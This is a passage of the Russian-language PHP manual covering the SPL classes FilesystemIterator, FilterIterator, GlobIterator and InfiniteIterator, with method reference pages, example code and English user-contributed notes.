        return parent::__construct(iterator_to_array(new LimitIterator($this, $offset, $limit))) ?? $this;
    }

    public function match(string $regex, int $mode = RegexIterator::MATCH, int $flags = 0, int $preg_flags = 0)
    {
        return parent::__construct(iterator_to_array(new RegexIterator($this, $regex, $mode, $flags, $preg_flags))) ?? $this;
    }
}
ohcc at 163 dot com 09-Jun-2020 03:31
It's impossible to return dots (. and ..) by FilesystemIterator.
thedilab at gmail dot com 06-Oct-2015 03:13
DirectoryIterator returns virtual directories "." and ".." in a loop.
But FilesystemIterator ignores them.
paul at paulgarvin dot net 10-May-2014 03:08
You may be wondering, like I did, what is the difference between this class and DirectoryIterator?

When you iteterate using DirectoryIterator each "value" returned is the same DirectoryIterator object. The internal state is changed so when you call isDir(), getPathname(), etc the correct information is returned. If you were to ask for a key when iterating you will get an integer index value.

FilesystemIterator (and RecursiveDirectoryIterator) on the other hand returns a new, different SplFileInfo object for each iteration step. The key is the full pathname of the file. This is by default. You can change what is returned for the key or value using the "flags" arguement to the constructor.


Создаёт новый итератор файловой системы

  • « FilesystemIterator
  • FilesystemIterator::current »
  • PHP Manual
  • FilesystemIterator
  • Создаёт новый итератор файловой системы

FilesystemIterator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::__construct — Создаёт новый итератор файловой системы

Описание

public FilesystemIterator::__construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)

Создаёт новый объект итератора файловой системы на основе аргумента directory.

Список параметров

directory

Путь к объекту файловой системы по которому требуется навигация.

flags

Поведение некоторых методов можно задать с помощью флагов. Список этих флагов можно найти на странице предопределённых констант FilesystemIterator. Также их можно задать позже методом FilesystemIterator::setFlags().

Ошибки

Выбрасывает исключение UnexpectedValueException, если директория directory не существует.

Выбрасывает исключение ValueError, если параметр directory содержит пустую строку.

Список изменений

Версия | Описание
8.2.0 | До версии PHP 8.2.0, константа FilesystemIterator::SKIP_DOTS всегда была установлена и не могла быть удалена.
8.0.0 | Теперь выбрасывает исключение ValueError, если параметр directory содержит пустую строку; ранее выбрасывалось исключение RuntimeException.

Примеры

Пример #1 Пример использования FilesystemIterator::__construct()

<?php
$it = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::CURRENT_AS_FILEINFO);
foreach ($it as $fileinfo) {
echo $fileinfo->getFilename() . "\n";
}
?>

Результат выполнения данного примера в PHP 8.2 аналогичен:

.
..
apples.jpg
banana.jpg
example.php

Вывод приведённого выше примера до версии PHP 8.2.0 выглядит следующим образом:

apples.jpg
banana.jpg
example.php

Смотрите также

  • FilesystemIterator::setFlags() - Задание флагов обработки
  • DirectoryIterator::__construct() - Создаёт новый итератор каталогов из пути

User Contributed Notes

There are no user contributed notes for this page.


Текущий файл

  • « FilesystemIterator::__construct
  • FilesystemIterator::getFlags »
  • PHP Manual
  • FilesystemIterator
  • Текущий файл

FilesystemIterator::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::current — Текущий файл

Описание

public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator

Извлекает информацию о текущем файле.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя файла, информация о файле, либо $this, в зависимости от установленных флагов. Смотрите Константы FilesystemIterator.

Примеры

Пример #1 Пример использования FilesystemIterator::current()

В этом примере будет выведен список содержимого директории в которой находится выполняемый скрипт.

<?php
$iterator = new FilesystemIterator(__DIR__, FilesystemIterator::CURRENT_AS_PATHNAME);
foreach ($iterator as $fileinfo) {
echo $iterator->current() . "\n";
}
?>

Результат выполнения данного примера в PHP 8.2 аналогичен:

/www/examples/.
/www/examples/..
/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

Смотрите также

  • Константы FilesystemIterator
  • DirectoryIterator::current() - Возвращает текущий элемент DirectoryIterator
  • DirectoryIterator::getFileName() - Возвращает имя файла текущего элемента DirectoryIterator

User Contributed Notes

There are no user contributed notes for this page.


Получение флагов настроек объекта

  • « FilesystemIterator::current
  • FilesystemIterator::key »
  • PHP Manual
  • FilesystemIterator
  • Получение флагов настроек объекта

FilesystemIterator::getFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::getFlags — Получение флагов настроек объекта

Описание

public FilesystemIterator::getFlags(): int

Получает значения флагов настроек объекта в том виде, как они были заданы методами FilesystemIterator::__construct() или FilesystemIterator::setFlags().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Целое число, представляющее заданные флаги.

Смотрите также

  • FilesystemIterator::__construct() - Создаёт новый итератор файловой системы
  • FilesystemIterator::setFlags() - Задание флагов обработки

User Contributed Notes

There are no user contributed notes for this page.


Определение ключа текущего файла

  • « FilesystemIterator::getFlags
  • FilesystemIterator::next »
  • PHP Manual
  • FilesystemIterator
  • Определение ключа текущего файла

FilesystemIterator::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::key — Определение ключа текущего файла

Описание

public FilesystemIterator::key(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает путь или имя файла в зависимости от установленных флагов. Смотрите Константы FilesystemIterator.

Примеры

Пример #1 Пример использования FilesystemIterator::key()

Этот пример выведет список содержимого директории в которой расположен скрипт.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);
foreach ($iterator as $fileinfo) {
echo $iterator->key() . "\n";
}
?>

Результат выполнения данного примера в PHP 8.2 аналогичен:

.
..
apple.jpg
banana.jpg
example.php

Смотрите также

  • FilesystemIterator constants
  • DirectoryIterator::key() - Возвращает ключ для текущего элемента DirectoryIterator
  • DirectoryIterator::getFilename() - Возвращает имя файла текущего элемента DirectoryIterator
  • DirectoryIterator::getPathname()

User Contributed Notes

There are no user contributed notes for this page.


Перемещение указателя на следующий файл

  • « FilesystemIterator::key
  • FilesystemIterator::rewind »
  • PHP Manual
  • FilesystemIterator
  • Перемещение указателя на следующий файл

FilesystemIterator::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::next — Перемещение указателя на следующий файл

Описание

public FilesystemIterator::next(): void

Переход к следующему файлу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования FilesystemIterator::next()

Вывод списка содержимого директории, используя цикл while.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__));
while($iterator->valid()) {
echo $iterator->getFilename() . "\n";
$iterator->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

apple.jpg
banana.jpg
example.php

Смотрите также

  • DirectoryIterator::next() - Переход к следующему элементу DirectoryIterator

User Contributed Notes

There are no user contributed notes for this page.


Перемещение указателя на начало

  • « FilesystemIterator::next
  • FilesystemIterator::setFlags »
  • PHP Manual
  • FilesystemIterator
  • Перемещение указателя на начало

FilesystemIterator::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::rewind — Перемещение указателя на начало

Описание

public FilesystemIterator::rewind(): void

Переводит указатель на начало директории.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования FilesystemIterator::rewind()

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);

echo $iterator->key() . "\n";

$iterator->next();
echo $iterator->key() . "\n";

$iterator->rewind();
echo $iterator->key() . "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

apple.jpg
banana.jpg
apple.jpg

Смотрите также

  • DirectoryIterator::rewind() - Перемотка итератора DirectoryIterator назад к началу

User Contributed Notes

There are no user contributed notes for this page.


Задание флагов обработки

  • « FilesystemIterator::rewind
  • FilterIterator »
  • PHP Manual
  • FilesystemIterator
  • Задание флагов обработки

FilesystemIterator::setFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::setFlags — Задание флагов обработки

Описание

public FilesystemIterator::setFlags(int $flags): void

Задаёт настройки итератора.

Список параметров

flags

Флаги, которые необходимо установить. Смотрите Константы FilesystemIterator.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования FilesystemIterator::key()

Пример демонстрирует различия между флагами FilesystemIterator::KEY_AS_PATHNAME и FilesystemIterator::KEY_AS_FILENAME.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_PATHNAME);
echo "Ключом является путь к файлу:\n";
foreach ($iterator as $key => $fileinfo) {
echo $key . "\n";
}

$iterator->setFlags(FilesystemIterator::KEY_AS_FILENAME);
echo "\nКлючом является имя файла:\n";
foreach ($iterator as $key => $fileinfo) {
echo $key . "\n";
}
?>

Результат выполнения данного примера в PHP 8.2 аналогичен:

Ключом является путь к файлу:
/www/examples/.
/www/examples/..
/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

Ключом является имя файла:
.
..
apple.jpg
banana.jpg
example.php

Смотрите также

  • FilesystemIterator::__construct() - Создаёт новый итератор файловой системы
  • FilesystemIterator::getFlags() - Получение флагов настроек объекта

User Contributed Notes

There are no user contributed notes for this page.


Класс FilterIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Этот абстрактный итератор фильтрует нежелательные значения. Этот класс следует расширить для реализации пользовательских фильтров итератора. Метод FilterIterator::accept() должен быть реализован в подклассе.

Обзор классов

abstract class FilterIterator extends IteratorIterator {
/* Методы */
public __construct(Iterator $iterator)
public accept(): bool
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
/* Наследуемые методы */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Содержание

  • FilterIterator::accept — Проверяет, является ли текущий элемент итератора допустимым
  • FilterIterator::__construct — Конструктор класса FilterIterator
  • FilterIterator::current — Получает значение текущего элемента
  • FilterIterator::key — Получает текущий ключ
  • FilterIterator::next — Перемещает итератор к следующему элементу
  • FilterIterator::rewind — Возвращает итератор в начало
  • FilterIterator::valid — Проверяет, является ли текущий элемент допустимым

User Contributed Notes

Anonymous 27-Dec-2021 11:15
Filter object collection by method:
<?php
/**
  * @method object current()
  */
class CollectionFilterIterator extends FilterIterator
{
     private $methodName;
     private $methodArguments;

     public function function __construct(Iterator $collection, string $methodName, array $methodArguments = [])
     {
             parent::__construct($collection);
             $this->methodName = $methodName;
             $this->methodArguments = array_values($methodArguments);
     }

     public function accept(): bool
     {
             return (bool) $this->current()->{$this->methodName}(...$this->methodArguments);
             // or call_user_func_array([$this->current(), $this->methodName], $this->methodArguments);
     }
}
?>
Anonymous 27-May-2014 08:01
A little test about the function call order:

<?php

class TestIterator extends IteratorIterator
{
    public function key()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::key();
    }

    public function next()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::next();
    }

    public function rewind()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::rewind();
    }

    public function valid()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::valid();
    }
}

class TestFilterIterator extends FilterIterator
{
    public function accept()
    {
        echo  __FUNCTION__, PHP_EOL;
        return true;
    }
}

$iterator = new ArrayIterator(array('a', 'b', 'c'));

foreach (new TestFilterIterator(new TestIterator($iterator)) as $k => $v) {
    echo PHP_EOL;
}

?>

This will output the following:

rewind
valid
key
accept

next
valid
key
accept

next
valid
key
accept

next
valid
Venelin Vulkov 05-Nov-2008 12:36
The code below is a simple example of usage . Note that the method which does the actual job is accept.

<?php
class UserFilter extends FilterIterator
{
    private $userFilter;

    public function __construct(Iterator $iterator , $filter )
    {
        parent::__construct($iterator);
        $this->userFilter = $filter;
    }

    public function accept()
    {
        $user = $this->getInnerIterator()->current();
        if( strcasecmp($user['name'],$this->userFilter) == 0) {
            return false;
        }
        return true;
    }
}

$array = array(
array('name' => 'Jonathan','id' => '5'),
array('name' => 'Abdul' ,'id' => '22')
);

$object = new ArrayObject($array);

// Note it is case insensitive check in our example due the usage of strcasecmp function
$iterator = new UserFilter($object->getIterator(),'abdul');

foreach ($iterator as $result) {
    echo $result['name'];
}

/* Outputs Jonathan */

?>
Regards.


Проверяет, является ли текущий элемент итератора допустимым

  • « FilterIterator
  • FilterIterator::__construct »
  • PHP Manual
  • FilterIterator
  • Проверяет, является ли текущий элемент итератора допустимым

FilterIterator::accept

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::accept — Проверяет, является ли текущий элемент итератора допустимым

Описание

public FilterIterator::accept(): bool

Проверяет, является ли текущий элемент итератора допустимым для данного фильтра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true если текущий элемент допустим, в противном случае false.

Примеры

Пример #1 Пример использования FilterIterator::accept()

<?php
// Этот итератор фильтрует все значения с длиной менее 10 символов
class LengthFilterIterator extends FilterIterator {

public function accept() {
// Допускает строки с длиной 10 символов и более
return strlen(parent::current()) >= 10;
}

}

$arrayIterator = new ArrayIterator(array('тест1', 'больше 10 символов'));
$lengthFilter = new LengthFilterIterator($arrayIterator);

foreach ($lengthFilter as $value) {
echo $value . "\n";
}
?>

Результат выполнения данного примера:

больше 10 символов

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса FilterIterator

  • « FilterIterator::accept
  • FilterIterator::current »
  • PHP Manual
  • FilterIterator
  • Конструктор класса FilterIterator

FilterIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::__construct — Конструктор класса FilterIterator

Описание

public FilterIterator::__construct(Iterator $iterator)

Создаёт объект класса FilterIterator, который состоит из итератора, переданного в параметре iterator, и фильтров, применяемых к нему.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

iterator

Фильтруемый итератор.

Смотрите также

  • LimitIterator::__construct() - Конструктор класса LimitIterator

User Contributed Notes

michael dot kaefer1 at gmx dot at 30-Dec-2018 04:29
Usage example:

<?php

class AdultFilter extends \FilterIterator
{
    public function accept()
    {
        $person = $this->current();
        if (18 <= $person[1]) {
            return true;
        }
        return false;
    }
}

$persons = new \ArrayIterator([
    ['John', 27],
    ['Jack', 15],
    ['Jeff', 54],
]);

$adults = new AdultFilter($persons);

foreach ($adults as $adult) {
    var_dump($adult);
}


Получает значение текущего элемента

  • « FilterIterator::__construct
  • FilterIterator::key »
  • PHP Manual
  • FilterIterator
  • Получает значение текущего элемента

FilterIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::current — Получает значение текущего элемента

Описание

public FilterIterator::current(): mixed
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Получает значение текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение текущего элемента.

Смотрите также

  • FilterIterator::key() - Получает текущий ключ
  • FilterIterator::next() - Перемещает итератор к следующему элементу

User Contributed Notes

codeiter+php-developer at crimeflare dot eu dot org 09-Apr-2022 01:34
<?php FilterIterator::current ?> is of type <?php SplFileInfo ?>

See : https://www.php.net/manual/en/class.splfileinfo.php


Получает текущий ключ

  • « FilterIterator::current
  • FilterIterator::next »
  • PHP Manual
  • FilterIterator
  • Получает текущий ключ

FilterIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::key — Получает текущий ключ

Описание

public FilterIterator::key(): mixed
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Получает текущий ключ.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий ключ.

Смотрите также

  • FilterIterator::next() - Перемещает итератор к следующему элементу
  • FilterIterator::current() - Получает значение текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к следующему элементу

  • « FilterIterator::key
  • FilterIterator::rewind »
  • PHP Manual
  • FilterIterator
  • Перемещает итератор к следующему элементу

FilterIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::next — Перемещает итератор к следующему элементу

Описание

public FilterIterator::next(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Перемещает итератор к следующему элементу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • FilterIterator::current() - Получает значение текущего элемента
  • FilterIterator::key() - Получает текущий ключ

User Contributed Notes

There are no user contributed notes for this page.


Возвращает итератор в начало

  • « FilterIterator::next
  • FilterIterator::valid »
  • PHP Manual
  • FilterIterator
  • Возвращает итератор в начало

FilterIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::rewind — Возвращает итератор в начало

Описание

public FilterIterator::rewind(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает итератор в начало.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • FilterIterator::current() - Получает значение текущего элемента
  • FilterIterator::key() - Получает текущий ключ
  • FilterIterator::next() - Перемещает итератор к следующему элементу

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли текущий элемент допустимым

  • « FilterIterator::rewind
  • GlobIterator »
  • PHP Manual
  • FilterIterator
  • Проверяет, является ли текущий элемент допустимым

FilterIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

FilterIterator::valid — Проверяет, является ли текущий элемент допустимым

Описание

public FilterIterator::valid(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Проверяет, является ли текущий элемент допустимым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если текущий элемент допустим, в противном случае false

User Contributed Notes

There are no user contributed notes for this page.


Класс GlobIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Итерирует через файловую систему похожим образом, как работает glob().

Обзор классов

class GlobIterator extends FilesystemIterator implements Countable {
/* Наследуемые константы */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* Методы */
public __construct(string $pattern, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)
public count(): int
/* Наследуемые методы */
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator
public FilesystemIterator::getFlags(): int
public FilesystemIterator::key(): string
public FilesystemIterator::next(): void
public FilesystemIterator::rewind(): void
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Содержание

  • GlobIterator::__construct — Создаёт итератор директории, используя glob-выражение
  • GlobIterator::count — Определяет количество директорий и файлов

User Contributed Notes

info at ensostudio dot ru 09-Feb-2021 08:48
NOTE: "similar fashion to glob()" GlobIterator use  stream wrapper "glob://" = use glob()
info at ensostudio dot ru 28-Jul-2020 12:10
Fix problem with braces in template:
<?php
class GlobStreamWrapper
{
    private $generator;

    protected function createGenerator(array $paths): Generator
    {
        return yield from $paths;
    }

    public function dir_opendir(string $pattern, int $options = 0): bool
    {
        $pattern = substr($pattern, 7); // crop 'glob://' prefix
        $pattern = str_replace(['\\', '/'], DIRECTORY_SEPARATOR, $pattern);
        $paths = (array) glob($pattern, GLOB_BRACE | GLOB_NOSORT);
        $this->generator = $this->createGenerator($paths);
        return $this->generator->valid();
    }

    public function dir_readdir(): string
    {
        $path = $this->generator->current() ?: '';
        $this->generator->next();
        return $path;
    }

    public function dir_rewinddir(): bool
    {
       $this->generator->rewind();
        return $this->generator->valid();
    }

    public function dir_closedir(): bool
    {
        $this->generator = null;
        return true;
    }
}
?>
Replace glob wrapper:
<?php
stream_wrapper_unregister('glob');
stream_wrapper_register('glob', 'GlobStreamWrapper');
?>
Example:
<?php
$iterator = new GlobIterator(__DIR__ . '/{application,system}/src/*.php');
while ($iterator->valid()) {
    echo $iterator->current()->getFilename() . '</br>';
    $iterator->next();
}
?>


Создаёт итератор директории, используя glob-выражение

  • « GlobIterator
  • GlobIterator::count »
  • PHP Manual
  • GlobIterator
  • Создаёт итератор директории, используя glob-выражение

GlobIterator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

GlobIterator::__construct — Создаёт итератор директории, используя glob-выражение

Описание

public GlobIterator::__construct(string $pattern, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)

Создаёт новый итератор директории на основе glob-выражения.

Список параметров

pattern

Шаблон glob().

flags

Флаги настроек. Флаги можно задавать битовой маской констант FilesystemIterator.

Ошибки

Выбрасывает исключение UnexpectedValueException, если директория directory не существует.

Выбрасывает исключение ValueError, если параметр directory содержит пустую строку.

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывает исключение ValueError, если параметр directory содержит пустую строку. Ранее выбрасывалось исключение RuntimeException.

Примеры

Пример #1 Пример использования GlobIterator

<?php
$iterator = new GlobIterator('*.dll', FilesystemIterator::KEY_AS_FILENAME);

if (!$iterator->count()) {
echo 'Нет совпадений';
} else {
$n = 0;

printf("Найдено элементов: %d \r\n", $iterator->count());

foreach ($iterator as $item) {
printf("[%d] %s\r\n", ++$n, $iterator->key());
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

Найдено элементов: 2
[1] php5ts.dll
[2] php_gd2.dll

Смотрите также

  • DirectoryIterator::__construct() - Создаёт новый итератор каталогов из пути
  • GlobIterator::count() - Определяет количество директорий и файлов
  • glob() - Находит файловые пути, совпадающие с шаблоном

User Contributed Notes

info at ensostudio dot ru 28-Jul-2020 12:30
Fix problem with braces in template:
<?php
class GlobStreamWrapper
{
    private $generator;

    protected function createGenerator(array $paths): Generator
    {
        return yield from $paths;
    }

    public function dir_opendir(string $pattern, int $options = 0): bool
    {
        $pattern = substr($pattern, 7); // crop 'glob://' prefix
        $pattern = str_replace(['\\', '/'], DIRECTORY_SEPARATOR, $pattern);
        $paths = (array) glob($pattern, GLOB_BRACE | GLOB_NOSORT);
        $this->generator = $this->createGenerator($paths);
        return $this->generator->valid();
    }

    public function dir_readdir(): string
    {
        $path = $this->generator->current() ?: '';
        $this->generator->next();
        return $path;
    }

    public function dir_rewinddir(): bool
    {
       $this->generator->rewind();
        return $this->generator->valid();
    }

    public function dir_closedir(): bool
    {
        $this->generator = null;
        return true;
    }
}
?>
Replace glob wrapper:
<?php
stream_wrapper_unregister('glob');
stream_wrapper_register('glob', 'GlobStreamWrapper');
?>
Example:
<?php
$iterator = new GlobIterator(__DIR__ . '/{application,system}/src/*.php');
while ($iterator->valid()) {
    echo $iterator->current()->getFilename() . '</br>';
    $iterator->next();
}
?>
ozana at omdesign dot cz 29-Mar-2014 10:08
GlobIterator doesn't have a way to support GLOB_BRACE!

<?php
$iterator = new GlobIterator(getcwd. '/*.{php,txt}'); // generate an empty array
?>


Определяет количество директорий и файлов

  • « GlobIterator::__construct
  • InfiniteIterator »
  • PHP Manual
  • GlobIterator
  • Определяет количество директорий и файлов

GlobIterator::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

GlobIterator::count — Определяет количество директорий и файлов

Описание

public GlobIterator::count(): int

Определяет количество директорий и файлов, совпадающих с glob-выражением.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество директорий и файлов в виде целого числа (int).

Примеры

Пример #1 Пример использования GlobIterator::count()

<?php
$iterator = new GlobIterator('*.xml');

printf("Найдено элементов: %d \r\n", $iterator->count());
?>

Результатом выполнения данного примера будет что-то подобное:

Найдено элементов: 8

Смотрите также

  • GlobIterator::__construct() - Создаёт итератор директории, используя glob-выражение
  • count() - Подсчитывает количество элементов массива или Countable объекте
  • glob() - Находит файловые пути, совпадающие с шаблоном

User Contributed Notes

TwystO 05-Jul-2016 10:49
As stated here https://bugs.php.net/bug.php?id=55701 the count() method can lead to errors.

For example this won't works if no files are found in the target directory :

<?php
$iterator = new \GlobIterator($ftpDirectory . '/*.*', FilesystemIterator::KEY_AS_FILENAME);

if($iterator->count()) {
    foreach($iterator as $filePath) {
        // do some stuff ...
    }
}
?>

A workaround to this bug could be :

<?php
foreach(new \GlobIterator($ftpDirectory . '/*.*', FilesystemIterator::KEY_AS_FILENAME) as $filePath) {
    // do some stuff ...
}
?>


Класс InfiniteIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Класс InfiniteIterator позволяет сделать бесконечный перебор итератора без необходимости вручную перебирать итератор до момента достижения его конца.

Обзор классов

class InfiniteIterator extends IteratorIterator {
/* Методы */
public __construct(Iterator $iterator)
public next(): void
/* Наследуемые методы */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Содержание

  • InfiniteIterator::__construct — Конструктор класса InfiniteIterator
  • InfiniteIterator::next — Перемещает итератор на одну позицию вперёд или в начало

User Contributed Notes

vascowhite at gmail dot com 04-Jun-2013 01:54
It is important to realise that rewind() must be called on any iterator before using it or you may experience undefined behaviour, see example code and output here http://3v4l.org/rvNpU

See this bug report https://bugs.php.net/bug.php?id=63823&edit=2 for a fuller explanation.
Anonymous 16-Oct-2012 12:47
to loop through object keys and reset to the start, try this:
<?php

$obj = new stdClass();
$obj->Mon = "Monday";
$obj->Tue = "Tuesday";
$obj->Wed = "Wednesday";
$obj->Thu = "Thursday";
$obj->Fri = "Friday";
$obj->Sat = "Saturday";
$obj->Sun = "Sunday";

$infinate = new InfiniteIterator(new ArrayIterator($obj));
foreach ( new LimitIterator($infinate, 0, 14) as $value ) {
    print($value . PHP_EOL);
}

?>

will output:

Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday

Can be useful when doing date operations or recurring events


Конструктор класса InfiniteIterator

  • « InfiniteIterator
  • InfiniteIterator::next »
  • PHP Manual
  • InfiniteIterator
  • Конструктор класса InfiniteIterator

InfiniteIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

InfiniteIterator::__construct — Конструктор класса InfiniteIterator

Описание

public InfiniteIterator::__construct(Iterator $iterator)

Создаёт новый объект класса InfiniteIterator на основе объекта-итератора Iterator.

Список параметров

iterator

Бесконечный итератор.

Примеры

Пример #1 Пример использования InfiniteIterator::__construct()

<?php
$arrayit = new ArrayIterator(array('cat','dog'));
$infinite = new InfiniteIterator($arrayit);
$limit = new LimitIterator($infinite, 0, 7);
foreach($limit as $value)
{
echo "$value\n";
}
?>

Результат выполнения данного примера:

cat
dog
cat
dog
cat
dog
cat

Смотрите также

  • InfiniteIterator::next() - Перемещает итератор на одну позицию вперёд или в начало

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор на одну позицию вперёд или в начало

  • « InfiniteIterator::__construct
  • IteratorIterator »
  • PHP Manual
  • InfiniteIterator
  • Перемещает итератор на одну позицию вперёд или в начало

InfiniteIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

InfiniteIterator::next — Перемещает итератор на одну позицию вперёд или в начало

Описание

public InfiniteIterator::next(): void

Перемещает внутренний указатель объекта Iterator на следующий элемент или на первый элемент, если текущий элемент был последним.

Замечание:

Итератор InfiniteIterator останавливается, когда хранящийся внутри объект Iterator оказывается пустым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • InfiniteIterator::__construct() - Конструктор класса InfiniteIterator

User Contributed Notes

There are no user contributed notes for this page.


Класс IteratorIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

